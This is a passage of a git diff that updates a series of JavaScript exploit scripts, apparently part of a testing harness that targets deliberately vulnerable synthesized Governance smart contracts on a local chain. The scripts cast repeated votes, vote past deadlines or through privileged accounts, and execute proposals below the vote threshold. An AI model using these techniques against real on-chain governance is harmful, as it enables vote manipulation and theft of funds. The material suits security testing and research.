index 1c870c94..c28400fb 100644 --- a/CI/exploits/synthesized/GovernanceExploit-13.js +++ b/CI/exploits/synthesized/GovernanceExploit-13.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-13' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal after the voting period has ended with the privileged address + console.log(`Voting on proposal ${proposalId} after voting period...`); + for (let i = 0; i < 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +101,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-14.js b/CI/exploits/synthesized/GovernanceExploit-14.js index 1c870c94..f07a80a7 100644 --- a/CI/exploits/synthesized/GovernanceExploit-14.js +++ b/CI/exploits/synthesized/GovernanceExploit-14.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-14' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period to end + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); + await sleep(5000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal multiple times with the privileged address + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-15.js b/CI/exploits/synthesized/GovernanceExploit-15.js index 1c870c94..85633d2c 100644 --- a/CI/exploits/synthesized/GovernanceExploit-15.js +++ b/CI/exploits/synthesized/GovernanceExploit-15.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-15' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); + + // Step 2: Vote on the proposal but not reaching the threshold + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + await sleep(5000); + + // Step 3: Execute the proposal within the bypass window + console.log("Waiting for bypass window to open..."); + await sleep(2000); // Wait to enter the bypass window period + + console.log(`Executing proposal ${proposalId} within the bypass window...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-16.js b/CI/exploits/synthesized/GovernanceExploit-16.js index 1c870c94..794f9063 100644 --- a/CI/exploits/synthesized/GovernanceExploit-16.js +++ b/CI/exploits/synthesized/GovernanceExploit-16.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-16' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,44 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); + + // Step 2: Vote on the proposal but not reaching the threshold + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + await sleep(5000); + + // Step 3: Execute the proposal with privileged address + console.log(`Executing proposal ${proposalId} with privileged address...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -86,7 +84,6 @@ async function exploit(web3, envInfo, contractAddress) { - /** * Executes the exploit and checks its result * @@ -102,6 +99,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-17.js b/CI/exploits/synthesized/GovernanceExploit-17.js index 1c870c94..f4da9b2f 100644 --- a/CI/exploits/synthesized/GovernanceExploit-17.js +++ b/CI/exploits/synthesized/GovernanceExploit-17.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-17' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,40 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ + // Step 1: Create a proposal with a future start time + console.log("Creating a proposal with a future start time..."); + const futureStartTime = Math.floor(Date.now() / 1000) + 100; // 100 seconds in the future + let createResult = await contractInstance.methods.createProposal(futureStartTime).send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + const proposalId = 0; // let's always target the first proposal in the list; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and future start time: ${futureStartTime}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal immediately after creation + console.log(`Voting on proposal ${proposalId} immediately...`); + for (let i = 0; i < 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(1000); } - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + // Step 3: Execute the proposal immediately after voting + console.log(`Executing proposal ${proposalId} immediately after voting...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed immediately after creation and voting!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +96,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-18.js b/CI/exploits/synthesized/GovernanceExploit-18.js index 1c870c94..e2713b3d 100644 --- a/CI/exploits/synthesized/GovernanceExploit-18.js +++ b/CI/exploits/synthesized/GovernanceExploit-18.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-18' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,29 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ + // Step 1: Create a proposal with immediate execution + console.log("Creating a proposal with immediate execution..."); + let createResult = await contractInstance.methods.createProposal(true).send({ from: envInfo.accounts[0], gas: 3000000 }); + const proposalId = 0; // let's always target the first proposal in the list; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and immediate execution`); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + // Step 2: Execute the proposal immediately after creation + console.log(`Executing proposal ${proposalId} immediately after creation...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed immediately after creation!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +85,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-19.js b/CI/exploits/synthesized/GovernanceExploit-19.js index 1c870c94..dd8d18dd 100644 --- a/CI/exploits/synthesized/GovernanceExploit-19.js +++ b/CI/exploits/synthesized/GovernanceExploit-19.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-19' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,44 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); + + // Step 2: Vote on the proposal but not reaching the threshold + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + await sleep(5000); + + // Step 3: Execute the proposal while vote count is temporarily increased + console.log(`Executing proposal ${proposalId} with temporary vote count increase...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed with temporary vote count increase!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +100,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-2.js b/CI/exploits/synthesized/GovernanceExploit-2.js index 817403c1..2e4438cf 100644 --- a/CI/exploits/synthesized/GovernanceExploit-2.js +++ b/CI/exploits/synthesized/GovernanceExploit-2.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-2' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,12 +35,12 @@ let solcVersion = extractSolcVersion(source); * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ + async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -48,24 +48,28 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + await sleep(200); + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Directly move to execution by manipulating the execution time - let proposal = await contractInstance.methods.proposals(proposalId).call(); - proposal.executionTime = block.timestamp; + // 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over. + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`); + await sleep(10000); - // Send the manipulated proposal back to the contract (assuming a vulnerability allows this) - await contractInstance.methods.proposals(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000, - data: contractInstance.methods.updateProposal(proposalId, proposal.executionTime).encodeABI() - }); + // Step 2: Vote on the proposal multiple times using the same account + for (let i = 0; i <= 3; i++) { + console.log("Voting on the proposal..."); + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + await sleep(500); + } // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - + console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay"); + await sleep(10000); + // Step 3: Execute the proposal console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ @@ -83,6 +87,13 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + /** * Executes the exploit and checks its result * @@ -98,6 +109,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-20.js b/CI/exploits/synthesized/GovernanceExploit-20.js index 1c870c94..264e6f11 100644 --- a/CI/exploits/synthesized/GovernanceExploit-20.js +++ b/CI/exploits/synthesized/GovernanceExploit-20.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-20' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period to end + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); + await sleep(5000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal multiple times with the privileged address + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-21.js b/CI/exploits/synthesized/GovernanceExploit-21.js index 1c870c94..1aeb72d3 100644 --- a/CI/exploits/synthesized/GovernanceExploit-21.js +++ b/CI/exploits/synthesized/GovernanceExploit-21.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-21' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,50 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with 